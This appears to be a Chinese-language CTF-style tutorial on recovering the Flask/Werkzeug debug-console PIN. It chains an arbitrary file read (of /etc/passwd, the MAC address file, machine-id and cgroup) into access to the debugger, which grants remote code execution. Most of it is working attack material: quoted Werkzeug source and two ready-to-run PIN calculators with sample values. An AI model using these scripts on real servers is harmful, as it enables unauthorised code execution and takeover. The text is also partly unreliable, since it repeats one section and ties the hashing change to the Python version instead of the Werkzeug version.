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Flask算pin码

什么是pin码

pin码是flask在开启debug模式下，进行代码调试模式所需的进入密码，需要正确的PIN码才能进入调试模式,可以理解为自带的webshell

计算pin码的条件

条件: flask debug模式开启 存在任意文件读取

pin码如何生成

pin码生成要六要素
1.username 在可以任意文件读的条件下读 /etc/passwd进行猜测
2.modname 默认flask.app
3.appname 默认Flask
4.moddir flask库下app.py的绝对路径,可以通过报错拿到,如传参的时候给个不存在的变量
5.uuidnode mac地址的十进制,任意文件读 /sys/class/net/eth0/address
6.machine_id 机器码 这个待会细说,一般就生成pin码不对就是这错了

flask pin码计算

谨记！！python 3.8和3.6 pin码生成方式不同, 3.6采用MD5加密，3.8采用sha1加密

werkzeug 1.0.0rc1 release中做了变动

机器id读取顺序不同
0.15.5之前

/etc/machine-id->/proc/sys/kernel/random/boot_id->ioreg -c IOPlatformExpertDevice -d 2->HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Cryptography/MachineGuid
0.15.5-0.16.0

/proc/self/cgroup->/etc/machine-id->/proc/sys/kernel/random/boot_id->ioreg -c IOPlatformExpertDevice -d 2->HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Cryptography/MachineGuid

/proc/self/cgroup需要用正则value.strip().partition("/docker/")[2]分割
0.16.0之后

/etc/machine-id->/proc/sys/kernel/random/boot_id->/proc/self/cgroup->ioreg -c IOPlatformExpertDevice -d 2->HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Cryptography/MachineGuid

/proc/self/cgroup需要用正则f.readline().strip().rpartition(b"/")[2]分割

（0.16.1）machine-id

machine-id应为
docker: cgroup中 /docker/后的内容
非docker: 先后读取machine-id和boot_id 有值即取

werkzeug 1.0.0rc1及以后

machine-id为
/etc/machine-id + /proc/self/cgroup
或
/proc/sys/kernel/random/boot_id + /proc/self/cgroup

werkzeug版本不同machine-id获取不同

机器id读取顺序不同
0.15.5之前

/etc/machine-id->/proc/sys/kernel/random/boot_id->ioreg -c IOPlatformExpertDevice -d 2->HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Cryptography/MachineGuid
0.15.5-0.16.0

/proc/self/cgroup->/etc/machine-id->/proc/sys/kernel/random/boot_id->ioreg -c IOPlatformExpertDevice -d 2->HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Cryptography/MachineGuid

/proc/self/cgroup需要用正则value.strip().partition("/docker/")[2]分割
0.16.0之后

/etc/machine-id->/proc/sys/kernel/random/boot_id->/proc/self/cgroup->ioreg -c IOPlatformExpertDevice -d 2->HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Cryptography/MachineGuid

/proc/self/cgroup需要用正则f.readline().strip().rpartition(b"/")[2]分割

python3.8 pin码生成

#生效时间为一周
PIN_TIME = 60 * 60 * 24 * 7

def hash_pin(pin: str) -> str:
    return hashlib.sha1(f"{pin} added salt".encode("utf-8", "replace")).hexdigest()[:12]

_machine_id: t.Optional[t.Union[str, bytes]] = None

#获取机器号
def get_machine_id() -> t.Optional[t.Union[str, bytes]]:
    global _machine_id

    if _machine_id is not None:
        return _machine_id

    def _generate() -> t.Optional[t.Union[str, bytes]]:
        linux = b""

        # machine-id is stable across boots, boot_id is not.
        for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
            try:
                with open(filename, "rb") as f:
                    value = f.readline().strip()
            except OSError:
                continue

            if value:
            #读取文件进行拼接
                linux += value
                break

        # Containers share the same machine id, add some cgroup
        # information. This is used outside containers too but should be
        # relatively stable across boots.
        try:
            with open("/proc/self/cgroup", "rb") as f:
            #继续进行拼接，这里处理一下只要/docker后的东西
                linux += f.readline().strip().rpartition(b"/")[2]
        except OSError:
            pass

        if linux:
            return linux

        # On OS X, use ioreg to get the computer's serial number.
        try:
            # subprocess may not be available, e.g. Google App Engine
            # https://github.com/pallets/werkzeug/issues/925
            from subprocess import Popen, PIPE

            dump = Popen(
                ["ioreg", "-c", "IOPlatformExpertDevice", "-d", "2"], stdout=PIPE
            ).communicate()[0]
            match = re.search(b'"serial-number" = <([^>]+)', dump)

            if match is not None:
                return match.group(1)
        except (OSError, ImportError):
            pass

        # On Windows, use winreg to get the machine guid.
        if sys.platform == "win32":
            import winreg

            try:
                with winreg.OpenKey(
                    winreg.HKEY_LOCAL_MACHINE,
                    "SOFTWARE\\Microsoft\\Cryptography",
                    0,
                    winreg.KEY_READ | winreg.KEY_WOW64_64KEY,
                ) as rk:
                    guid: t.Union[str, bytes]
                    guid_type: int
                    guid, guid_type = winreg.QueryValueEx(rk, "MachineGuid")

                    if guid_type == winreg.REG_SZ:
                        return guid.encode("utf-8")

                    return guid
            except OSError:
                pass

        return None

    _machine_id = _generate()
    return _machine_id

class _ConsoleFrame:
    """Helper class so that we can reuse the frame console code for the
    standalone console.
    """

    def __init__(self, namespace: t.Dict[str, t.Any]):
        self.console = Console(namespace)
        self.id = 0

def get_pin_and_cookie_name(
    app: "WSGIApplication",
) -> t.Union[t.Tuple[str, str], t.Tuple[None, None]]:
    """Given an application object this returns a semi-stable 9 digit pin
    code and a random key.  The hope is that this is stable between
    restarts to not make debugging particularly frustrating.  If the pin
    was forcefully disabled this returns `None`.

    Second item in the resulting tuple is the cookie name for remembering.
    """
    pin = os.environ.get("WERKZEUG_DEBUG_PIN")
    rv = None
    num = None

    # Pin was explicitly disabled
    if pin == "off":
        return None, None

    # Pin was provided explicitly
    if pin is not None and pin.replace("-", "").isdigit():
        # If there are separators in the pin, return it directly
        if "-" in pin:
            rv = pin
        else:
            num = pin

    modname = getattr(app, "__module__", t.cast(object, app).__class__.__module__)
    username: t.Optional[str]

    try:
        # getuser imports the pwd module, which does not exist in Google
        # App Engine. It may also raise a KeyError if the UID does not
        # have a username, such as in Docker.
        username = getpass.getuser()
    except (ImportError, KeyError):
        username = None

    mod = sys.modules.get(modname)

    # This information only exists to make the cookie unique on the
    # computer, not as a security feature.
    probably_public_bits = [
        username,
        modname,
        getattr(app, "__name__", type(app).__name__),
        getattr(mod, "__file__", None),
    ]

    # This information is here to make it harder for an attacker to
    # guess the cookie name.  They are unlikely to be contained anywhere
    # within the unauthenticated debug page.
    private_bits = [str(uuid.getnode()), get_machine_id()]

    h = hashlib.sha1()
    for bit in chain(probably_public_bits, private_bits):
        if not bit:
            continue
        if isinstance(bit, str):
            bit = bit.encode("utf-8")
        h.update(bit)
    h.update(b"cookiesalt")

    cookie_name = f"__wzd{h.hexdigest()[:20]}"

    # If we need to generate a pin we salt it a bit more so that we don't
    # end up with the same value and generate out 9 digits
    if num is None:
        h.update(b"pinsalt")
        num = f"{int(h.hexdigest(), 16):09d}"[:9]

    # Format the pincode in groups of digits for easier remembering if
    # we don't have a result yet.
    if rv is None:
        for group_size in 5, 4, 3:
            if len(num) % group_size == 0:
                rv = "-".join(
                    num[x : x + group_size].rjust(group_size, "0")
                    for x in range(0, len(num), group_size)
                )
                break
        else:
            rv = num

    return rv, cookie_name

3.6 MD5

#MD5
import hashlib
from itertools import chain
probably_public_bits = [
     'flaskweb'# username
     'flask.app',# modname
     'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
     '/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
     '25214234362297',# str(uuid.getnode()),  /sys/class/net/ens33/address
     '0402a7ff83cc48b41b227763d03b386cb5040585c82f3b99aa3ad120ae69ebaa'# get_machine_id(), /etc/machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
   h.update(b'pinsalt')
   num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
   for group_size in 5, 4, 3:
       if len(num) % group_size == 0:
          rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                      for x in range(0, len(num), group_size))
          break
       else:
          rv = num

print(rv)

3.8 sha1

#sha1
import hashlib
from itertools import chain
probably_public_bits = [
    'root'# /etc/passwd
    'flask.app',# 默认值
    'Flask',# 默认值
    '/usr/local/lib/python3.8/site-packages/flask/app.py' # 报错得到
]

private_bits = [
    '2485377581187',#  /sys/class/net/eth0/address 16进制转10进制
    #machine_id由三个合并(docker就后两个)：1./etc/machine-id 2./proc/sys/kernel/random/boot_id 3./proc/self/cgroup
    '653dc458-4634-42b1-9a7a-b22a082e1fce55d22089f5fa429839d25dcea4675fb930c111da3bb774a6ab7349428589aefd'#  /proc/self/cgroup
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

machine_id由三个合并(docker就后两个)：

1./etc/machine-id

2./proc/sys/kernel/random/boot_id

3./proc/self/cgroup